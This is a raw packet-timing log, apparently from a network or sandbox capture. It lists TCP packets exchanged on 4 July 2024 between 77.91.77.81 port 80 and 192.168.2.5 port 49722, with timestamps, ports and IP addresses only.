Jul 4, 2024 22:21:09.954322100 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.954332113 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.954371929 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.954488039 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.954499006 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.954510927 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.954520941 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.954540968 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.954559088 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.954631090 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.954642057 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.954651117 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.954659939 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.954679966 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.954701900 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.954782009 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.954793930 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.954830885 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.954917908 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.954930067 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.954940081 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.954967976 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.954981089 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.955065012 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.955076933 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.955111980 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.981354952 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.981406927 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.981519938 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.981549978 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.981565952 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.981584072 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.981595993 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.981621981 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.981630087 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.981658936 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.981671095 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.981693029 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.981709003 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.981730938 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.981981993 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.982028961 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.982122898 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.982131958 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.982141972 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.982167959 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.982196093 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.982275963 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.982287884 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.982296944 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.982326031 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.982415915 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.982415915 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.982428074 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.982465029 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.982600927 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.982611895 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.982623100 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.982637882 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.982671976 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.982749939 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.982760906 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.982770920 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.982796907 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.982816935 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.982904911 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.982916117 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.982925892 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.982935905 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.982954025 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.982976913 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.983046055 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.983057022 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.983066082 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.983071089 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.983077049 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.983093023 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.983141899 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.983170986 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.983182907 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.983217001 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.983374119 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.983383894 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.983393908 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.983421087 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.983433962 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.983530045 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.983541965 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.983577013 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.983685970 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.983699083 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.983724117 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.983755112 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.983829975 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.983840942 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.983850002 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.983875036 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.983905077 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.983968973 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.983979940 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.983989000 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.984018087 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.984045029 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.984122038 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.984133005 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.984142065 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.984150887 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.984160900 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.984169960 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.984199047 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.984267950 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.984278917 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.984389067 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.984575033 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.984585047 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.984594107 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.984603882 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.984621048 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.984635115 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.004374981 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.004385948 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.004407883 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.004440069 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.004455090 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.004549980 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.004602909 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.004607916 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.004638910 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.004640102 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.004686117 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.004726887 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.004734993 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.004769087 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.004817963 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.004820108 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.004842997 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.004882097 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.004895926 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.004929066 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.004945040 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.004947901 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.004960060 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.004977942 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.005003929 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.005026102 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.005074024 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.039937973 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.039949894 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.039961100 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.039994955 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.039999008 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.040009975 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.040031910 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.040045977 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.040077925 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.040090084 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.040098906 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.040127039 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.040148973 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.040225029 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.040236950 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.040273905 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.040338993 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.040354967 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.040365934 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.040376902 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.040385962 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.040426016 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.040467978 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.040505886 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.040512085 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.040515900 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.040546894 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.040561914 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.040642977 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.040653944 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.040663004 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.040682077 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.040690899 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.040729046 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.040760994 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.040806055 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.040857077 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.040868044 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.040877104 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.040885925 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.040898085 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.040909052 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.040909052 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.040935040 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.040947914 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.041126966 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.041137934 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.041147947 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.041158915 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.041167021 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.041171074 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.041182041 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.041184902 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.041213989 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.041233063 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.041310072 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.041356087 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.041356087 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.041368008 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.041395903 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.041414976 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.041476011 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.041486979 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.041496038 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.041507006 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.041520119 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.041547060 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.041605949 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.041650057 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.068211079 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.068264961 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.068301916 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.068314075 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.068355083 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.068365097 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.068375111 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.068485022 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.068487883 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.068489075 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.068489075 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.068489075 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.068499088 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.068531036 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.068556070 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.068742037 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.068783998 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.068789005 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.068799973 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.068824053 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.068847895 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.068860054 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.068888903 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.068903923 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.068945885 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.069004059 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.069020987 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.069031000 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.069046974 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.069048882 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.069073915 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.069092035 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.069171906 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.069181919 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.069190979 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.069201946 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.069212914 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.069220066 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.069247961 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.069314957 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.069355011 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.069384098 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.069395065 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.069431067 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.069468021 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.069478989 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.069488049 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.069499016 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.069516897 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.069530010 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.069557905 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.069616079 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.069637060 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.069648027 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.069657087 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.069660902 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.069672108 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.069688082 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.069706917 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.069837093 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.069849014 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.069858074 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.069869041 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.069880009 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.069910049 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.069983006 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.069993019 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.070002079 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.070012093 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.070029020 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.070049047 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.070131063 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.070178032 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.070211887 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.070221901 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.070230961 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.070240021 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.070250988 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.070257902 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.070261002 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.070274115 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.070283890 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.070286989 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.070306063 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.070316076 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.070606947 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.070617914 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.070627928 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.070638895 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.070650101 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.070657969 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.070662022 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.070679903 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.070694923 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.091114044 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.091125011 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.091135025 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.091208935 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.091219902 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.091270924 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.091281891 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.091295958 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.091295958 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.091295958 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.091315985 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.091335058 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.091403961 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.091414928 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.091423988 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.091434956 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.091443062 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.091445923 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.091465950 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.091492891 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.091614962 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.091626883 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.091666937 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.130002022 CEST	80	49722	77.91.77.81	192.168.2.5
